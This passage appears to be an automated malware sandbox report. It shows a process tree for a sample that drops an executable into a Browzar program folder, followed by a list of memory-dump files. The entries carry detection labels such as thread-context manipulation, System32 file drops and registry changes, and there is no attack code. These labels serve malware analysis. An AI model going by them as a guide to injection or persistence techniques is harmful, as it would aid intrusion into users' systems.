                                                                                                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                                                                                                    PID:860
                                                                                                                                                                                                                                                                                  • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                      PID:992
                                                                                                                                                                                                                                                                                    • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                      PID:3880
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                                                        PID:748
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                                                        PID:4312
                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\Browzar\BHLaXlSQsQ4M.exe
                                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\Browzar\BHLaXlSQsQ4M.exe"
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                      PID:4592
                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Browzar\BHLaXlSQsQ4M.exe
                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Browzar\BHLaXlSQsQ4M.exe"
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                        PID:4808
                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\Browzar\Browzar.exe
                                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\Browzar\Browzar.exe"
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                      PID:4144
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 2260
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                        PID:508
                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                      PID:1012
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                      PID:3852
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\compattelrunner.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                        PID:4596
                                                                                                                                                                                                                                                                                      • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                          PID:6092
                                                                                                                                                                                                                                                                                        • C:\Windows\System32\rundll32.exe
                                                                                                                                                                                                                                                                                          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                            PID:4376
                                                                                                                                                                                                                                                                                          • C:\Windows\ImmersiveControlPanel\SystemSettings.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                            PID:5192
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\WerFault.exe -u -p 5192 -s 3464
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                                                                              PID:6000
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wwahost.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\system32\wwahost.exe" -ServerName:App.wwa
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                            PID:4240
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wermgr.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\system32\wermgr.exe" -outproc 1 4240 428 432 436 0 0 0 0 0 0 0 0
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                              PID:5452
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wwahost.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\system32\wwahost.exe" -ServerName:App.wwa
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                              PID:5512
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wermgr.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\system32\wermgr.exe" -outproc 1 5512 424 436 432 0 0 0 0 0 0 0 0
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                PID:5816
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wwahost.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\system32\wwahost.exe" -ServerName:App.wwa
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                PID:5844
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wermgr.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\system32\wermgr.exe" -outproc 1 5844 436 424 504 0 0 0 0 0 0 0 0
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                  PID:5764
                                                                                                                                                                                                                                                                                                • C:\Windows\ImmersiveControlPanel\SystemSettings.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                                                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                  PID:2940
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\WerFault.exe -u -p 2940 -s 3348
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                    PID:5856
                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe" -ServerName:SecHealthUI.AppXep4x2tbtjws1v9qqs0rmb3hxykvkpqtn.mca
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                  PID:1248
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\WerFault.exe -u -p 1248 -s 1672
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                    PID:3048
                                                                                                                                                                                                                                                                                                • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                  c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s Netman
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                  PID:1568
                                                                                                                                                                                                                                                                                                • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                  PID:896
                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe" -ServerName:SecHealthUI.AppXep4x2tbtjws1v9qqs0rmb3hxykvkpqtn.mca
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                  PID:5296
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\WerFault.exe -u -p 5296 -s 1668
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                    PID:4004
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -s gpsvc
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                    PID:5192
                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe
                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe" -ServerName:SecHealthUI.AppXep4x2tbtjws1v9qqs0rmb3hxykvkpqtn.mca
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                    PID:3048
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\WerFault.exe -u -p 3048 -s 1672
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                      PID:1784

                                                                                                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                                                                                                  • memory/296-305-0x00000000049B0000-0x00000000049B1000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/748-224-0x000001DFC98B0000-0x000001DFC9920000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    448KB

                                                                                                                                                                                                                                                                                                  • memory/860-223-0x0000017788C20000-0x0000017788C90000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    448KB

                                                                                                                                                                                                                                                                                                  • memory/992-186-0x000001C36E820000-0x000001C36E890000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    448KB

                                                                                                                                                                                                                                                                                                  • memory/992-339-0x000001C36EF00000-0x000001C36EF71000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                  • memory/992-182-0x000001C36E700000-0x000001C36E74B000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    300KB

                                                                                                                                                                                                                                                                                                  • memory/1072-345-0x000001DBA6780000-0x000001DBA67F1000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                  • memory/1072-218-0x000001DBA6640000-0x000001DBA66B0000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    448KB

                                                                                                                                                                                                                                                                                                  • memory/1172-257-0x000002A9DED60000-0x000002A9DEDD0000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    448KB

                                                                                                                                                                                                                                                                                                  • memory/1360-240-0x0000023B72C60000-0x0000023B72CD0000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    448KB

                                                                                                                                                                                                                                                                                                  • memory/1392-233-0x000001BF8C1A0000-0x000001BF8C210000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    448KB

                                                                                                                                                                                                                                                                                                  • memory/1860-237-0x000001F45DA90000-0x000001F45DB00000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    448KB

                                                                                                                                                                                                                                                                                                  • memory/2136-128-0x00000000001C0000-0x00000000001D7000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    92KB

                                                                                                                                                                                                                                                                                                  • memory/2408-210-0x000002AEDE870000-0x000002AEDE8E0000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    448KB

                                                                                                                                                                                                                                                                                                  • memory/2408-343-0x000002AEDF340000-0x000002AEDF3B1000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                  • memory/2436-341-0x000001B0B5700000-0x000001B0B5771000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                  • memory/2436-195-0x000001B0B5580000-0x000001B0B55F0000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    448KB

                                                                                                                                                                                                                                                                                                  • memory/2700-250-0x00000239B2C40000-0x00000239B2CB0000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    448KB

                                                                                                                                                                                                                                                                                                  • memory/2720-259-0x0000017D1F080000-0x0000017D1F0F0000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    448KB

                                                                                                                                                                                                                                                                                                  • memory/2740-337-0x000002115D220000-0x000002115D291000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                  • memory/2740-222-0x000002115CE00000-0x000002115CE70000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    448KB

                                                                                                                                                                                                                                                                                                  • memory/3880-200-0x000001B34B7B0000-0x000001B34B820000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    448KB

                                                                                                                                                                                                                                                                                                  • memory/3936-270-0x00000000052D0000-0x00000000052D1000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/3936-283-0x000000000DC10000-0x000000000DC11000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/3936-275-0x000000000DBD0000-0x000000000DBD1000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/3936-265-0x0000000000A10000-0x0000000000A11000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/3936-295-0x00000000052F0000-0x00000000052F1000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/3936-292-0x000000000DCB0000-0x000000000DCB1000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/3936-273-0x000000000A680000-0x000000000A6C6000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    280KB

                                                                                                                                                                                                                                                                                                  • memory/3936-280-0x000000000E200000-0x000000000E201000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/3936-289-0x000000000DC70000-0x000000000DC71000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/4200-312-0x00000000024A0000-0x0000000002531000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    580KB

                                                                                                                                                                                                                                                                                                  • memory/4200-315-0x0000000000400000-0x000000000092C000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    5.2MB

                                                                                                                                                                                                                                                                                                  • memory/4312-317-0x0000022295F60000-0x0000022295FAB000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    300KB

                                                                                                                                                                                                                                                                                                  • memory/4312-329-0x0000022298800000-0x0000022298906000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    1.0MB

                                                                                                                                                                                                                                                                                                  • memory/4312-330-0x00000222960E0000-0x00000222960FB000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    108KB

                                                                                                                                                                                                                                                                                                  • memory/4312-318-0x0000022296270000-0x00000222962E1000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                  • memory/4368-309-0x0000000140000000-0x0000000140383000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    3.5MB

                                                                                                                                                                                                                                                                                                  • memory/4388-320-0x00000000009D0000-0x00000000009EB000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    108KB

                                                                                                                                                                                                                                                                                                  • memory/4388-149-0x0000000002A90000-0x0000000002C2C000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    1.6MB

                                                                                                                                                                                                                                                                                                  • memory/4388-314-0x00000000032F0000-0x00000000033DF000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    956KB

                                                                                                                                                                                                                                                                                                  • memory/4388-319-0x00000000009E0000-0x00000000009E1000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/4508-334-0x0000000004AE0000-0x0000000004B92000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    712KB

                                                                                                                                                                                                                                                                                                  • memory/4508-335-0x0000000004C50000-0x0000000004CFE000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    696KB

                                                                                                                                                                                                                                                                                                  • memory/4584-158-0x0000000000400000-0x0000000000983000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    5.5MB

                                                                                                                                                                                                                                                                                                  • memory/4584-152-0x0000000000400000-0x0000000000983000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    5.5MB

                                                                                                                                                                                                                                                                                                  • memory/4592-303-0x0000000005850000-0x0000000005D4E000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    5.0MB

                                                                                                                                                                                                                                                                                                  • memory/4784-253-0x00000000009F0000-0x00000000009F1000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/4784-269-0x000000000A890000-0x000000000A891000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/4784-263-0x0000000001270000-0x0000000001271000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/4784-266-0x00000000013F0000-0x00000000013FE000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    56KB

                                                                                                                                                                                                                                                                                                  • memory/4784-268-0x000000000ACF0000-0x000000000ACF1000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/4784-271-0x0000000002CD0000-0x0000000002CD1000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/4808-332-0x0000000005560000-0x0000000005561000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/4900-264-0x00000000057E0000-0x0000000005808000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    160KB

                                                                                                                                                                                                                                                                                                  • memory/4900-251-0x00000000056D0000-0x00000000056D1000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/4900-241-0x0000000000DA0000-0x0000000000DA1000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/4940-286-0x0000000000690000-0x0000000000695000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    20KB

                                                                                                                                                                                                                                                                                                  • memory/4988-333-0x00000210A71A0000-0x00000210A71C0000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    128KB

                                                                                                                                                                                                                                                                                                  • memory/4988-327-0x00000210A7180000-0x00000210A71A0000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    128KB

                                                                                                                                                                                                                                                                                                  • memory/4988-311-0x0000000140000000-0x000000014070D000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    7.1MB

                                                                                                                                                                                                                                                                                                  • memory/4992-180-0x0000000004887000-0x0000000004988000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    1.0MB

                                                                                                                                                                                                                                                                                                  • memory/4992-185-0x00000000049F0000-0x0000000004A4C000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    368KB

                                                                                                                                                                                                                                                                                                  • memory/5032-183-0x0000000001450000-0x000000000146D000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    116KB

                                                                                                                                                                                                                                                                                                  • memory/5032-196-0x000000001BCC0000-0x000000001BCC2000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                  • memory/5032-190-0x0000000001470000-0x0000000001471000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/5032-172-0x0000000000FF0000-0x0000000000FF1000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                  • memory/5032-177-0x0000000001440000-0x0000000001441000-memory.dmp

                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                    4KB